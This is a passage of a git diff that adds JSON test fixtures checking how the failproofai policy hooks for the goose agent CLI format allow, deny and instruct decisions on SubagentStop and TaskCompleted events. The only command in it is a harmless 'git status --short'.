b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c897a381 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0f3ce15b --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2890ce0a --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..484018f0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6e16e596 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3e575695 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..72a2f77f --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3a0ede09 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f60c8313 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b27a5440 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8d906c3d --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..0c5dfcc4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a056e3ea --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..94bba999 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f08abdc8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1e014684 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3b65af98 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..89a95e28 --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..55f64b6c --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..25be32ad --- /dev/null +++ b/__tests__/parity/fixtures/goose/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 